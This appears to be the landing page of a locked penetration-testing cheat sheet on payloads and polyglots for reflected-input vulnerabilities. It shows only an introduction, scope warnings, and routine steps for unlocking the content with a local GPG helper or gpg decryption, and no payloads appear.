Reflecting Techniques - PoCs and Polygloths CheatSheet

Reflecting Techniques - PoCs and Polygloths CheatSheet

These PoCs and polyglots give testers a fast summary of vulnerabilities to check when input is reflected in a response. The collection draws on the linked HackTricks technique pages and established payload/testing collections.[1][2][3]

[!WARNING] This cheat sheet is not a comprehensive test suite. Follow the linked vulnerability page for prerequisites, context-specific payloads, and validation guidance.

[!CAUTION] It omits Content-Type-dependent injections such as XXE and database-specific injections, because those tests depend heavily on the request format, backend technology, and query structure.

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.
